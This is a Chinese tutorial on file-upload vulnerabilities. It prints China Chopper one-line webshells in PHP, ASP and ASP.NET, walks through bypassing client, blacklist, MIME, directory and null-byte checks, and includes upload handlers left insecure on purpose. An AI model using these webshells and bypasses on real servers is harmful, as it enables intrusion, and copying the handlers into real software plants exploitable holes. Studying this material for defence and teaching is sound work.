Skip to content

文件上传的基本流程相同,客户端使用 JavaScript 验证,服务器端采用随机数来重命名文件,以防止文件重复。

防止上传漏洞:

  1. 客户端检测 -- JS;
  2. 服务器端检测 -- 检测文件的 MIME 类型,检测文件扩展名是否合法,甚至有些检测文件中是否嵌入恶意代码。

中国菜刀 和 一句话图片木马

  • 软件“中国菜刀”用来管理网站文件,小巧灵活,可以用一段简短的代码方便地管理网站。

  • 软件提供的服务器端文件仅有一行代码,目前支持的服务器端脚本包括:PHP、ASP、ASP.NET、JSP 等,并且支持 HTTPS 安全连接的网站。

  • 常见代码:

    PHP:    <?php @eval($_POST['chopper']);?>
    ASP:    <%eval request("chopper")%>
    ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
    
    因为代码短小精悍,也被称为一句话木马。

  • 用中国菜刀连接网站后返回主界面,选中目标 URL 并单击鼠标右键,可以看到虚拟终端(执行命令操作)、数据库连接、执行自写脚本等选项,可以根据相应的选项使用某些操作。

  • “图片一句话”就是把一句话木马插入在图片文件中,且不损坏图片文件,可以躲过一些防火墙检测。

  • 制作图片一句话木马可以使用 Edjpgcom。

1. 客户端检测

客户端验证,作用是在文件发出请求之前,先在用户的浏览器里进行一次简单的检查。

代码示例:

function checkFile() {
    var fileInput = document.getElementById('uploadFile');
    var filePath = fileInput.value;

    // 定义允许的后缀名(白名单)
    var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

    if (!allowedExtensions.exec(filePath)) {
        alert('只允许上传图片格式 (jpg/jpeg/png/gif)!');
        fileInput.value = ''; // 清空选择
        return false;
    }
    return true; // 允许提交
}

由于这段代码运行在浏览器,攻击者可以通过禁用 JS 或使用 Burp Suite 拦截抓包,轻松绕过这个验证。

最基础的后端处理代码,完全没有安全过滤。会直接接收文件,并以“时间戳+原后缀”重命名,防止文件名冲突。

<?php
// 设定上传目录为当前目录
$uploadPath = "./";

// 获取上传文件的基本信息
$tempFile = $_FILES['file']['tmp_name']; // 临时文件路径
$originName = $_FILES['file']['name'];   // 原始文件名

// 提取后缀名(例如:.php)
$fileExt = strrchr($originName, '.');

// 使用时间戳生成新文件名,防止重名
$newName = time() . $fileExt;
$finalPath = $uploadPath . $newName;

// 将临时文件移动到目标路径
if (move_uploaded_file($tempFile, $finalPath)) {
    echo "文件上传成功!存储位置: " . $finalPath;
} else {
    echo "文件上传失败。";
}
?>

针对客户端验证有很多绕过方法。

1.1 抓包修改

  1. 将恶意脚本(如 shell.php)暂时改名为合法的图片格式(如 shell.jpg)。

  2. 在浏览器选择该文件,此时 JavaScript 检查后缀名合法,允许通过。

  3. 点击“上传”按钮,同时使用 Burp Suite 等工具拦截该请求包。

  4. 在 Burp Suite 中,将文件名手动改回 shell.php,然后放行(Forward)。

1.2 禁用浏览器 JS

如果前端验证完全依赖 JavaScript 脚本且没有其他逻辑,可以直接禁用 JS。

  1. 打开浏览器开发者工具(F12)。

  2. 在设置中找到 "Disable JavaScript" 选项并勾选。

  3. 直接选择 shell.php 上传。

  4. 局限性:如果页面渲染或上传按钮的点击逻辑也依赖 JS,此方法可能导致页面无法正常工作。

1.3 控制台修改逻辑

  1. 在上传页面打开控制台(Console)。

  2. 重写函数:如果验证函数叫 checkFile(),直接在控制台输入 checkFile = function(){return true;} 并回车。

  3. 删除属性:或者找到 HTML 标签中的 onsubmit="return checkFile()",直接在 DOM 树中删掉这段代码。

  4. 原理:通过内存修改,让原本的验证逻辑失效或永远返回“真”。

2. 服务器端检测

主要包含:白名单与黑名单扩展名过滤、文件类型检测、文件重命名等。

2.1 白名单与黑名单验证

2.1.1 黑名单过滤

不安全。黑名单定义一系列不安全的扩展名,服务器端在接收文件后,与黑名单扩展名对比。如果匹配,就认为文件不合法,PHP 代码如下:

<?php
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    // 定义黑名单:不允许上传的文件后缀
    $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".swf", ".htaccess");

    // 获取上传文件的名称
    $file_name = trim($_FILES['upload_file']['name']);

    // 简单的防御措施:去掉文件名末尾的点(防止 Windows 特性绕过)
    $file_name = deldot($file_name);

    // 提取文件后缀名
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); // 转换为小写,防止大写绕过(如 .PHP)

    // 检查后缀是否在黑名单中
    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = "./uploads/". $file_name;

        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }
}
?>

绕过思路:

  • 名单不全:如果环境支持,可以尝试名单之外的后缀。例如,黑名单漏掉了 .php7、.php8 或 .phtml。

  • 特殊后缀:在某些配置下,.php. . (点空格点) 或者 .php::$DATA (Windows 流文件) 可能会被操作系统处理后变回 .php。如果没有大小写转化操作,也可以尝试切换后缀的大小写绕过(此类扩展名在 Windows 平台依然会被 Web 容器解析)。

  • 配合解析漏洞:上传一个 .htaccess 文件(如果名单没禁),修改服务器的配置,让它把 .jpg 当作 PHP 执行。

2.1.2 白名单过滤

白名单定义允许上传的扩展名,拥有比黑名单更好的防御机制。

<?php
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    // 1. 定义白名单:只允许这三种后缀
    $allow_ext = array('jpg', 'png', 'gif');

    // 2. 获取文件名并提取后缀
    $file_name = $_FILES['upload_file']['name'];
    $file_info = pathinfo($file_name);
    $file_ext = $file_info['extension']; // 获取扩展名

    // 3. 检查后缀是否在白名单内
    if (in_array($file_ext, $allow_ext)) {
        // 4. 重命名文件(关键安全步骤)
        // 使用随机数或时间戳重命名,彻底抹除原始文件名可能带来的截断攻击风险
        $new_file_name = date("YmdHis") . rand(1000, 9999) . "." . $file_ext;
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $save_path = "./uploads/" . $new_file_name;

        if (move_uploaded_file($temp_file, $save_path)) {
            $is_upload = true;
            $msg = "上传成功!文件名已重命名为: " . $new_file_name;
        } else {
            $msg = "文件夹移动失败。";
        }
    } else {
        $msg = "只允许上传 .jpg, .png, .gif 格式的文件!";
    }
}
?>

绕过思路:

  • 配合解析漏洞:虽然文件存成了 .jpg,但如果 Nginx 存在我们之前提到的 CGI.fix_pathinfo 漏洞,攻击者依然可以通过访问 xxx.jpg/.php 来强制执行它。或使用 pentest.asp;1.jpg 等方式。

  • 文件头校验绕过:如果后端还检查了文件内容(如 getimagesize()),攻击者会将木马代码藏在正常的图片二进制数据中(制作图片马)。

2.2 MIME 验证

MIME 类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序打开。如 GIF 图片 MIME 为 image/gif,CSS 文件 MIME 类型为 text/css。

<?php
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    // 1. 定义允许的 MIME 类型(白名单)
    $allow_mime = array("image/jpeg", "image/png", "image/gif");

    // 2. 获取浏览器发送的 MIME 类型
    // 注意:这个值是从 HTTP 请求头的 Content-Type 中获取的
    $file_mime = $_FILES['upload_file']['type'];

    // 3. 验证 MIME 类型是否合法
    if (in_array($file_mime, $allow_mime)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $save_path = "./uploads/" . $_FILES['upload_file']['name'];

        if (move_uploaded_file($temp_file, $save_path)) {
            $is_upload = true;
            $msg = "MIME 验证通过,上传成功!";
        } else {
            $msg = "上传失败。";
        }
    } else {
        $msg = "文件类型非法,只允许图片格式 (image/jpeg, image/png, image/gif)!";
    }
}
?>

绕过思路:用 Burp Suite 等工具拦截,修改请求头中的 Content-Type。

  • 本质上也是一种“客户端检测”的变体。虽然代码写在后端,但它检测的对象($_FILES['upload_file']['type'])完全由客户端发出的 HTTP 请求包控制。

更安全的做法:

// 这是一个更安全的做法,服务器会读取文件二进制头来判断类型
$finfo = new finfo(FILEINFO_MIME_TYPE);
$real_mime = $finfo->file($_FILES['upload_file']['tmp_name']);

if (in_array($real_mime, $allow_mime)) {
    // 只有真正的图片文件头才能通过
}

2.3 目录验证

<?php
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    // 1. 正常的白名单后缀过滤
    $allow_ext = array('jpg', 'png', 'gif');
    $file_name = $_FILES['upload_file']['name'];
    $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

    if (in_array($file_ext, $allow_ext)) {
        // 2. 目录验证:从 POST 请求中获取上传路径
        // 攻击点就在这里:$_POST['save_path'] 是用户可控的
        $save_path = $_POST['save_path'];

        $temp_file = $_FILES['upload_file']['tmp_name'];
        // 最终拼接路径:例如 "./uploads/" + "test.jpg"
        $img_path = $save_path . "/" . rand(10, 99) . date("His") . "." . $file_ext;

        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
            $msg = "文件已上传至: " . $img_path;
        } else {
            $msg = "上传失败,请检查目录权限或路径!";
        }
    } else {
        $msg = "只允许上传图片格式!";
    }
}
?>

假如用户通过 Burp Suite 抓包等方式,把路径规定为 pentest.asp 目录,如果服务器不存在此目录,将会建立此目录,然后把图片木马文件写入该目录。如果 Web 容器为 IIS 6.0,网页木马就会被解析。

2.4 截断上传攻击

2.4.1 核心原理

在 C 语言中,字符串是以 \0(即 0x00)作为结束标志的。由于许多后端语言(如早期版本的 PHP、ASP、Java)的底层是 C 实现的,当它们处理文件名字符串时:

  • 逻辑层(代码):可能只看到了文件末尾的 .jpg,认为合法并放行。

  • 系统层(保存文件):读取到 0x00 时认为字符串结束了,直接丢弃后面的内容。

示例:文件名 webshell.asp%00.jpg

  1. 后端验证:后缀是 .jpg,合法。

  2. 保存文件:系统处理到 %00 处停止,最终存为 webshell.asp。

2.4.2 典型的存在截断漏洞的 ASP 代码

<%
  ' 模拟从前端获取上传路径和文件名
  Dim uploadDir, fileName, finalPath
  uploadDir = Request.Form("save_path") ' 攻击点:路径由用户控制
  fileName = "test.jpg" ' 假设后缀已被白名单验证

  ' 逻辑拼接:uploads/shell.asp[0x00]/test.jpg
  finalPath = Server.MapPath(uploadDir & "/" & fileName)

  ' 使用 FSO 对象保存文件
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  ' 由于底层的截断,文件会被保存在 shell.asp
  ' ... 保存逻辑 ...
%>

2.4.3 利用 Burp Suite 进行截断攻击

截断攻击不能直接在文件名里输入 %00(因为那只是三个字符),必须在 Hex(十六进制) 层面修改。

场景: 后端验证文件必须以 .jpg 结尾,但存储路径由 save_path 参数决定。

操作步骤:

  1. 拦截请求:上传 shell.php,用 Burp Suite 拦截。

  2. 修改路径:在参数中找到 save_path=./uploads/,修改为 save_path=./uploads/shell.asp .(在 asp 后面加了一个空格和一个点,为了方便定位)。

  3. 切换到 Hex 视图:

    • 在 Hex 编辑器中找到刚才输入的 asp 后面那个空格对应的十六进制数值(通常是 20)。

    • 将 20 手动修改为 00。

  4. 发送请求:此时请求包中的路径在二进制层面已经变成了 .../shell.asp\0.jpg。

  5. 结果:服务器绕过了 .jpg 的检查,但在写入硬盘时,受 0x00 影响,文件被命名为 shell.asp。

  6. PHP 版本限制:PHP 截断漏洞仅存在于 5.3.4 以下版本,且 magic_quotes_gpc 需为 Off 状态。

  7. 现代环境:现在的 Web 容器和编程语言大多已在底层修复了此问题。如果题目环境非常老旧(如 IIS 6.0、PHP 5.2),那么截断攻击是一个思路。